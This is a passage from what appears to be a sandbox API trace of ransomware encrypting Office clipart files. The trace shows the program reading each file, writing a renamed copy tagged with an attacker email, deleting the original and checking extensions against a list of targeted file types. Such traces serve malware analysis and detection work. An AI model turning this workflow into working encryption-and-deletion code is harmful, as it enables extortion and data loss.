	[0199.032] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x6890, lpOverlapped=0x0) returned 1
	[0199.035] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x68a0, lpOverlapped=0x0) returned 1
	[0199.036] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.036] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.036] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.036] CloseHandle (hObject=0x5c4) returned 1
	[0199.037] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.037] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.039] CloseHandle (hObject=0x5bc) returned 1
	[0199.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1
	[0199.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.041] lstrlenW (lpString=".doc") returned 4
	[0199.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.041] lstrlenW (lpString=".docx") returned 5
	[0199.041] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.041] lstrlenW (lpString=".pdf") returned 4
	[0199.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.041] lstrlenW (lpString=".xls") returned 4
	[0199.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.041] lstrlenW (lpString=".xlsx") returned 5
	[0199.041] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.041] lstrlenW (lpString=".ppt") returned 4
	[0199.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.041] lstrlenW (lpString=".zip") returned 4
	[0199.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.041] lstrlenW (lpString=".rar") returned 4
	[0199.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.041] lstrlenW (lpString=".bz2") returned 4
	[0199.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.041] lstrlenW (lpString=".7z") returned 3
	[0199.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.041] lstrlenW (lpString=".dbf") returned 4
	[0199.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.042] lstrlenW (lpString=".1cd") returned 4
	[0199.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.042] lstrlenW (lpString=".jpg") returned 4
	[0199.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.042] lstrlenW (lpString=".doc") returned 4
	[0199.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString=".docx") returned 5
	[0199.042] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.042] lstrlenW (lpString=".pdf") returned 4
	[0199.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString=".xls") returned 4
	[0199.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.042] lstrlenW (lpString=".xlsx") returned 5
	[0199.042] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.042] lstrlenW (lpString=".ppt") returned 4
	[0199.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.042] lstrlenW (lpString=".zip") returned 4
	[0199.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.042] lstrlenW (lpString=".rar") returned 4
	[0199.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString=".bz2") returned 4
	[0199.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.042] lstrlenW (lpString=".7z") returned 3
	[0199.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.043] lstrlenW (lpString=".dbf") returned 4
	[0199.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.043] lstrlenW (lpString=".1cd") returned 4
	[0199.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0199.043] lstrlenW (lpString=".jpg") returned 4
	[0199.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.043] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.043] lstrlenW (lpString="J0107658.WMF") returned 12
	[0199.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.076] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7072) returned 1
	[0199.076] CloseHandle (hObject=0x5c4) returned 1
	[0199.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220
	[0199.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.088] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.088] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.088] GetLastError () returned 0x0
	[0199.088] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0199.090] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0199.091] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.091] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.092] SetEndOfFile (hFile=0x554) returned 1
	[0199.092] CloseHandle (hObject=0x554) returned 1
	[0199.092] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.092] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.094] CloseHandle (hObject=0x5c4) returned 1
	[0199.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1
	[0199.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.096] lstrlenW (lpString=".doc") returned 4
	[0199.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.096] lstrlenW (lpString=".docx") returned 5
	[0199.096] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.096] lstrlenW (lpString=".pdf") returned 4
	[0199.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.096] lstrlenW (lpString=".xls") returned 4
	[0199.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.096] lstrlenW (lpString=".xlsx") returned 5
	[0199.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.096] lstrlenW (lpString=".ppt") returned 4
	[0199.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.096] lstrlenW (lpString=".zip") returned 4
	[0199.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.097] lstrlenW (lpString=".rar") returned 4
	[0199.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString=".bz2") returned 4
	[0199.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString=".7z") returned 3
	[0199.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.097] lstrlenW (lpString=".dbf") returned 4
	[0199.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.097] lstrlenW (lpString=".1cd") returned 4
	[0199.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.097] lstrlenW (lpString=".jpg") returned 4
	[0199.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.097] lstrlenW (lpString=".doc") returned 4
	[0199.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString=".docx") returned 5
	[0199.097] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.097] lstrlenW (lpString=".pdf") returned 4
	[0199.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.097] lstrlenW (lpString=".xls") returned 4
	[0199.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.097] lstrlenW (lpString=".xlsx") returned 5
	[0199.097] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.097] lstrlenW (lpString=".ppt") returned 4
	[0199.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.098] lstrlenW (lpString=".zip") returned 4
	[0199.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.098] lstrlenW (lpString=".rar") returned 4
	[0199.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.098] lstrlenW (lpString=".bz2") returned 4
	[0199.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.098] lstrlenW (lpString=".7z") returned 3
	[0199.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.098] lstrlenW (lpString=".dbf") returned 4
	[0199.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.098] lstrlenW (lpString=".1cd") returned 4
	[0199.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0199.098] lstrlenW (lpString=".jpg") returned 4
	[0199.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.098] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.098] lstrlenW (lpString="J0107722.WMF") returned 12
	[0199.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.099] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8260) returned 1
	[0199.099] CloseHandle (hObject=0x5c4) returned 1
	[0199.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220
	[0199.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.100] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.100] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.101] GetLastError () returned 0x0
	[0199.101] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2044, lpOverlapped=0x0) returned 1
	[0199.103] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2050, lpOverlapped=0x0) returned 1
	[0199.104] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.104] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.104] SetEndOfFile (hFile=0x554) returned 1
	[0199.104] CloseHandle (hObject=0x554) returned 1
	[0199.104] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.105] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.108] CloseHandle (hObject=0x5c4) returned 1
	[0199.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1
	[0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.109] lstrlenW (lpString=".doc") returned 4
	[0199.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.109] lstrlenW (lpString=".docx") returned 5
	[0199.109] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.109] lstrlenW (lpString=".pdf") returned 4
	[0199.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.109] lstrlenW (lpString=".xls") returned 4
	[0199.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.109] lstrlenW (lpString=".xlsx") returned 5
	[0199.109] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.109] lstrlenW (lpString=".ppt") returned 4
	[0199.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.109] lstrlenW (lpString=".zip") returned 4
	[0199.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.109] lstrlenW (lpString=".rar") returned 4
	[0199.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString=".bz2") returned 4
	[0199.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString=".7z") returned 3
	[0199.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.110] lstrlenW (lpString=".dbf") returned 4
	[0199.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.110] lstrlenW (lpString=".1cd") returned 4
	[0199.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.110] lstrlenW (lpString=".jpg") returned 4
	[0199.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.110] lstrlenW (lpString=".doc") returned 4
	[0199.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString=".docx") returned 5
	[0199.110] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.110] lstrlenW (lpString=".pdf") returned 4
	[0199.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString=".xls") returned 4
	[0199.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.110] lstrlenW (lpString=".xlsx") returned 5
	[0199.110] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.110] lstrlenW (lpString=".ppt") returned 4
	[0199.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.110] lstrlenW (lpString=".zip") returned 4
	[0199.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.111] lstrlenW (lpString=".rar") returned 4
	[0199.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.111] lstrlenW (lpString=".bz2") returned 4
	[0199.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.111] lstrlenW (lpString=".7z") returned 3
	[0199.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.111] lstrlenW (lpString=".dbf") returned 4
	[0199.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.111] lstrlenW (lpString=".1cd") returned 4
	[0199.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0199.111] lstrlenW (lpString=".jpg") returned 4
	[0199.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.111] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.111] lstrlenW (lpString="J0107724.WMF") returned 12
	[0199.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.118] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7016) returned 1
	[0199.118] CloseHandle (hObject=0x5c4) returned 1
	[0199.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220
	[0199.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.119] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.119] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.120] GetLastError () returned 0x0
